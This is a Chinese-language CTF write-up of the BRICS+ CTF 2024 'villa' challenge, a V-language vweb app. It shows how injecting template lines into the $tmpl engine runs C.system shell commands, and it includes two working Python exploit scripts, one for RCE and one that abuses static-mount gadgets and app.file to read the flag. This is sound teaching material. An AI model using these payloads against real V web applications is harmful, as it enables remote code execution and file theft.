BRICS+ CTF 2024 web/villa复现

官方wp>>>https://github.com/C4T-BuT-S4D/bricsctf-2024-quals/tree/master/tasks

villa

v语言写的一个web程序

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
module main

import os
import vweb

struct App {
vweb.Context
}

@['/'; get; post]
fn (mut app App) index() vweb.Result {
return $vweb.html()
}

@['/villa'; get; post]
fn (mut app App) villa() vweb.Result {
if app.req.method == .post {
os.write_file('villa.html', $tmpl('template.html')) or { panic(err) }
}

return $vweb.html()
}

fn main() {
app := &App{}
params := vweb.RunParams{
port: 8080,
nr_workers: 1,
}

vweb.run_at(app, params) or { panic(err) }
}

/villa路由将$tmpl('template.html')的返回值写入villa.html

template.html@app.req.data接收用户传入的值,这是整个程序唯一的输入点

在docker的启动脚本里

1
2
3
4
5
6
cp villa.html villa.html.bak

while true; do
sleep 30
cp villa.html.bak villa.html
done &

每30秒重置villa.html

通过$vweb.html()渲染html

替换html时经过了$tmpl函数处理

查看该引擎的源码

https://github.com/vlang/v/blob/715dc3116123b69abe25d14536cad18da6bd7ab6/vlib/v/parser/tmpl.v#L397
该引擎处理模板文件,将其转换为V语言代码

根据官方wp给出的片段

1
2
3
4
5
6
7
8
} else if line_t.starts_with('.') && line.ends_with('{') {
// `.header {` => `<div class='header'>`
class := line.find_between('.', '{').trim_space()
trimmed := line.trim_space()
source.write_string(strings.repeat(`\t`, line.len - trimmed.len)) // add the necessary indent to keep <div><div><div> code clean
source.writeln('<div class="${class}">')
continue
}

该段代码会处理.开头{结尾的行并截取两个符号之间的字符串作为${class}

看官方给出的payload

实际上是对source.writeln(进行闭合然后拼接shell命令,导致tmpl.v执行的同时执行shell命令导致rce

插入payload后如下

source.writeln('<div class="'); C.system('cat flag.*.txt > villa.html'.str); println('">')

实际上执行了source.writeln('<div class="')``C.system('cat flag.*.txt > villa.html'.str)``println('">')

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import time
import requests

HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 17171

URL = f'http://ip:17171/villa'

while True:
try:
payload = "\n. '); C.system('cat flag.*.txt > villa.html'.str); println(' {\n"
requests.post(URL, data = payload)

response = requests.get(URL)
print(response.content)

if b'flag' in response.content:
break
except Exception as e:
print(e)

time.sleep(2)

要注意到的是这里前后加上换行是为了让payload单独一行,才能正确让tmpl截取到我们的payload

这里执行system命令要C.system但是os.system跑不通

于是又找到了一个文章 https://dreyand.rs/ctf/2024/10/06/vlang-template-injection-lazy-loading-iframes-ss-leaks-brics-ctf-quals

* Side note: Someone in the discord also found a way to get full RCE, as shared by :<font style="color:rgb(34, 34, 34);">кек</font>

<font style="color:rgb(34, 34, 34);">${ C.system(&char(“cat flag* > /tmp/villa/villa.html”.str)) }</font> . yes, you can use C in V ))

That’s an insane functionality provided by the language XD

通过<font style="color:rgb(34, 34, 34);">language XD</font>可以在Vlang执行C语言

这篇文章提供了另外一个解法就是通过vweb的内置函数<font style="color:rgb(34, 34, 34);">scan_static_directory</font>来读取文件夹的文件列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fn (mut ctx Context) scan_static_directory(directory_path string, mount_path string, host string) {
files := os.ls(directory_path) or { panic(err) }
if files.len > 0 {
for file in files {
full_path := os.join_path(directory_path, file)
if os.is_dir(full_path) {
ctx.scan_static_directory(full_path, mount_path.trim_right('/') + '/' + file,
host)
} else if file.contains('.') && !file.starts_with('.') && !file.ends_with('.') {
ext := os.file_ext(file)
// Rudimentary guard against adding files not in mime_types.
// Use host_serve_static directly to add non-standard mime types.
if ext in mime_types {
ctx.host_serve_static(host, mount_path.trim_right('/') + '/' + file,
full_path)
}
}
}
}
}

这个函数不是公开的,需要找到另一个调用它的函数。

文章提供了3个

All we have to do now is:

  • use the <font style="color:rgb(34, 34, 34);">host_mount_static_folder_at</font> gadget to mount the <font style="color:rgb(34, 34, 34);">/tmp/villa</font> directory into a static one
  • read the server config via <font style="color:rgb(34, 34, 34);">@app</font> to get a list of files, including the filename of the flag.
  • use the arb file read gadget to get the flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import httpx 
import re

def mount_static(client):
payload = """
@{dump(app.handle_static('/tmp/villa', true))}
@{dump(app.host_handle_static('localhost', '/tmp/villa', true))}
@{dump(app.mount_static_folder_at('/tmp/villa', '/leak'))}
@app
"""

resp = ""
while "true" not in resp:
try:
resp = client.post("/villa", data=payload).text
except:
pass # server timeout

flag_pattern = r'/tmp/villa/flag\.[a-f0-9]{32}\.txt'
flag_loc = re.findall(flag_pattern, resp)

return flag_loc[0]

def readflag(client, flag_loc):
payload = "@{app.file('%s')}" % (flag_loc)

resp = ""
while True:
try:
resp = client.post("/villa", data=payload).text
if "flag" in resp or "brics" in resp:
print(resp)
break
except:
pass # server timeout

return resp

def exp():
BASE_URL = "http://TARGET-URL"
client = httpx.Client(base_url=BASE_URL)

flag_loc = mount_static(client)
readflag(client, flag_loc)


if __name__ == "__main__":
exp()

BRICS+ CTF 2024 web/villa复现
http://example.com/2024/10/11/BRICS+ CTF 2024 web/
作者
J_0k3r
发布于
2024年10月11日
许可协议
BY J_0K3R